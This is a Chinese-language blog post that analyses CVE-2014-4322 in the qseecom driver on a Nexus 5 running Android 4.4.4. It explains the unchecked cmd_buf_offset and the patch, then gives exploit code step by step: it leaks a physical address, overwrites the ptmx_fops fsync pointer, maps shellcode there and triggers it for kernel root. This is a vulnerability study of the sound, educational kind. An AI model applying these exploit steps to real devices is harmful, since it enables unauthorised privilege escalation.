本文主要研究了CVE-2014-4322-qseecom内存破坏漏洞的原理与利用。
简介
QSEECOM驱动程序提供了ioctl系统调用接口,用于用户空间客户端的通讯。 QSEECOM driver的drivers/misc/qseecom.c没有验证ioctl调用中的某些偏移、长度、基值,攻击者通过构造的应用,利用此漏洞可获取提升的权限或造成拒绝服务。
分析环境与工具 Android版本:Android4.4.4_r1 内核版本:kernel_msm-android-msm-hammerhead-3.4-kitkat-mr1 手机:Nexus5
漏洞分析 接下来我将结合retme在xkungfoo2015安全会议做出的报告对该漏洞的exploit原理进行详细分析。看一下codeaurora对该漏洞的简介:
The qseecom driver provides an ioctl system call interface to user space clients for communication. When processing this communication, the __qseecom_update_cmd_buf function uses the user-supplied value cmd_buf_offset as an index to a buffer for write operations without any boundary checks, allowing a local application with access to the qseecom device node to, e.g., escalate privileges.
显然问题出在__qseecom_update_cmd_buf函数没有对用户传入的参数进行边界检查,导致了内存破坏。对该漏洞的patch时在函数入口添加了一个边界检查的函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int boundary_checks_offset (struct qseecom_send_modfd_cmd_req *cmd_req,
struct qseecom_send_modfd_listener_resp *lstnr_resp,
struct qseecom_dev_handle *data, bool listener_svc,
int i) {
int ret = 0 ;
if ((!listener_svc) && (cmd_req->ifd_data[i].fd > 0 )) {
if (cmd_req->ifd_data[i].cmd_buf_offset >
cmd_req->cmd_req_len - sizeof (uint32_t )) {
pr_err("Invalid offset 0x%x\n" ,
cmd_req->ifd_data[i].cmd_buf_offset);
return ++ret;
}
} else if ((listener_svc) && (lstnr_resp->ifd_data[i].fd > 0 )) {
if (lstnr_resp->ifd_data[i].cmd_buf_offset >
lstnr_resp->resp_len - sizeof (uint32_t )) {
pr_err("Invalid offset 0x%x\n" ,
lstnr_resp->ifd_data[i].cmd_buf_offset);
return ++ret;
}
}
return ret;
}
查看__qseecom_update_cmd_buf函数源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int __qseecom_update_cmd_buf(struct
qseecom_send_modfd_cmd_req *req,...)
{
...
ihandle = ion_import_dma_buf(qseecom.ion_clnt, req->ifd_data[i].fd);
if (IS_ERR_OR_NULL(ihandle)) {
pr_err("Ion client can't retrieve the handle\n" );
return -ENOMEM;
}
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;
sg_ptr = ion_sg_table(qseecom.ion_clnt, ihandle);
...
update = (uint32_t *) field;
if (cleanup)
*update = 0 ;
else
*update = (uint32_t )sg_dma_address(sg_ptr->sgl);
...
}
这里我隐藏了无关的代码,只贴出了涉及本漏洞的部分。req->cmd_req_buf为用户态传入的缓冲区基地址,req->ifd_data[i].cmd_buf_offset为相对于req_buf的偏移,sg_dma_address返回一个物理地址。值得注意的是,req->cmd_req_buf和req->ifd_data[i].cmd_buf_offset的值都是用户态传入的,并且没有任何限制。
假定sg_dma_address(sg_ptr->sgl)返回的是一个固定的物理地址,如0x3*******,我们可以构造出该漏洞的利用思路:
构造用户态参数,调用ioctl触发__qseecom_update_cmd_buf函数,将0x3*******泄露回用户态,得到确切地址;
构造用户态参数,再次调用ioctl触发__qseecom_update_cmd_buf函数,覆盖ptmx_fops结构体的fsync函数指针;
在0x3*******地址mmap一段空间,并布置相应的shellcode;
调用fsync(/dev/ptmx)触发内核调用shellcode,完成提权;
首先来看如何在用户态触发req->cmd_req_buf函数,搜索__qseecom_update_cmd_buf:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static int qseecom_send_modfd_cmd (struct qseecom_dev_handle *data,
void __user *argp)
{
int ret = 0 ;
struct qseecom_send_modfd_cmd_req req;
struct qseecom_send_cmd_req send_cmd_req;
ret = copy_from_user(&req, argp, sizeof (req));
if (ret) {
pr_err("copy_from_user failed\n" );
return ret;
}
send_cmd_req.cmd_req_buf = req.cmd_req_buf;
send_cmd_req.cmd_req_len = req.cmd_req_len;
send_cmd_req.resp_buf = req.resp_buf;
send_cmd_req.resp_len = req.resp_len;
ret = __qseecom_update_cmd_buf(&req, false );
if (ret)
return ret;
ret = __qseecom_send_cmd(data, &send_cmd_req);
if (ret)
return ret;
ret = __qseecom_update_cmd_buf(&req, true );
if (ret)
return ret;
pr_debug("sending cmd_req->rsp size: %u, ptr: 0x%p\n" ,
req.resp_len, req.resp_buf);
return ret;
}
继续找qseecom_send_modfd_cmd的上层调用:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static long qseecom_ioctl (struct file *file, unsigned cmd,
unsigned long arg)
{
...
case QSEECOM_IOCTL_SEND_MODFD_CMD_REQ: {
mutex_lock(&app_access_lock);
atomic_inc(&data->ioctl_count);
ret = qseecom_send_modfd_cmd(data, argp);
atomic_dec(&data->ioctl_count);
wake_up_all(&data->abort_wq);
mutex_unlock(&app_access_lock);
if (ret)
pr_err("failed qseecom_send_cmd: %d\n" , ret);
break ;
}
...
到这里就可以知道,命令码为QSEECOM_IOCTL_SEND_MODFD_CMD_REQ的ioctl函数调用,就可以触发qseecom驱动层__qseecom_update_cmd_buf函数。 让我们考虑如何构造用户态参数的问题,先贴出要用到的结构体:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
* struct qseecom_ion_fd_info - ion fd handle data information
* @fd - ion handle to some memory allocated in user space
* @cmd_buf_offset - command buffer offset
*/
struct qseecom_ion_fd_info {
int32_t fd;
uint32_t cmd_buf_offset;
};
* struct qseecom_send_modfd_cmd_req - for send command ioctl request
* @cmd_req_len - command buffer length
* @cmd_req_buf - command buffer
* @resp_len - response buffer length
* @resp_buf - response buffer
* @ifd_data_fd - ion handle to memory allocated in user space
* @cmd_buf_offset - command buffer offset
*/
struct qseecom_send_modfd_cmd_req {
void *cmd_req_buf;
unsigned int cmd_req_len;
void *resp_buf;
unsigned int resp_len;
struct qseecom_ion_fd_info ifd_data[MAX_ION_FD];
};
回到__qseecom_update_cmd_buf函数:1
2
3
4
5
6
7
8
9
10
11
static int __qseecom_update_cmd_buf(struct
qseecom_send_modfd_cmd_req *req,...)
{
...
ihandle = ion_import_dma_buf(qseecom.ion_clnt, req->ifd_data[i].fd);
if (IS_ERR_OR_NULL(ihandle)) {
pr_err("Ion client can't retrieve the handle\n" );
return -ENOMEM;
}
...
要继续触发后面的逻辑,我们需要构造req->ifd_data[i].fd参数,以保证ihandle的值不为空。根据上面结构体qseecom_ion_fd_info的注释,需要分配一个ion内存管理器的句柄,通过网上资料的查询,代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int GetIonSharedFd (int length) {
int fd;
struct ion_allocation_data allocation_data;
struct ion_fd_data fd_data;
fd = open("/dev/ion" , O_RDONLY);
if (fd < 0 ) {
perror("open /dev/ion" );
exit (-1 );
}
allocation_data.len = length;
allocation_data.align = length;
allocation_data.flags = ION_HEAP_TYPE_CARVEOUT;
if (ioctl(fd, ION_IOC_ALLOC, &allocation_data) < 0 ) {
perror("ION_IOC_ALLOC" );
exit (-1 );
}
fd_data.handle = allocation_data.handle;
if (ioctl(fd, ION_IOC_SHARE, &fd_data) < 0 ) {
perror("ION_IOC_SHARE" );
exit (-1 );
}
return fd_data.fd;
}
所以ifd_data_fd构造如下:1
2
struct qseecom_send_modfd_cmd_req send_modfd_cmd_req;
send_modfd_cmd_req.ifd_data[0 ].fd = GetIonSharedFd(8192 );
接着往下看__qseecom_update_cmd_buf函数:1
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;
首先需要将物理地址泄露回用户态,参数构造如下:1
2
3
4
5
void *abuse_buff;
abuse_buff = malloc (400 );
memset (abuse_buff, 0 , 400 );
send_modfd_cmd_req.cmd_req_buf = abuse_buff;
send_modfd_cmd_req.ifd_data[0 ].cmd_buf_offset = 0 ;
接着通过ioctl触发__qseecom_update_cmd_buf函数调用:1
2
3
4
5
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;
= (char *) abuse_buff;
update = (uint32_t *) field;
= (uint32_t *) abuse_buff;
*update = (uint32_t ) sg_dma_addressji(sg_ptr->sgl); -> ((uint32_t *) abuse_buff)[0 ] = (uint32_t ) sg_dma_addressji(sg_ptr->sgl);
即abuse_buff[0]存放了内核态泄露出的物理地址0x3*******。接下来构造参数以覆盖fsync函数指针:1
2
#define PTMX_FOPS 0xc1235dd0
send_modfd_cmd_req.ifd_data[0 ].cmd_buf_offset = PTMX_FOPS + 56 - (int ) abuse_buff;
继续通过ioctl触发__qseecom_update_cmd_buf函数调用:1
2
3
4
5
field = (char *) req->cmd_req_buf + req->ifd_data[i].cmd_buf_offset;
= (char *) (PTMX_FOPS + 56 );
update = (uint32_t *) field;
= (uint32_t *) (PTMX_FOPS + 56 );
*update = (uint32_t ) sg_dma_addressji(sg_ptr->sgl); -> *((uint32_t *) PTMX_FOPS + 56 ) = (uint32_t ) sg_dma_addressji(sg_ptr->sgl);
这样fsync函数指针地址即被替换为了0x3*******,我们只需要在0x3*******地址布置shellcode即可:1
static unsigned long shellcode[] = {0xe59f0004 , 0xe92d0001 , 0xe8bd8000 };
这里注意的是我们不能使用b系列的跳转指令,因为b系列指令是基于PC的相对偏移的。 最后访问/dev/ptmx,调用sync,shellcode将以内核权限执行,执行提权代码后,完成root。
后记 qseecom设备需要system权限才能访问,所以我们首先需要提权到system才能利用该漏洞,比如CVE-2014-7911。 retme大神早就提供了POC,这篇博客也是分析了retme的POC和报告才有的。我在retme的POC的基础上精简了一些代码,需要的和我联系。
参考文献
https://github.com/retme7/CVE-2014-4322_poc
https://github.com/android/kernel_msm/tree/android-msm-hammerhead-3.4-kitkat-mr1
https://github.com/android-rooting-tools/android_run_root_shell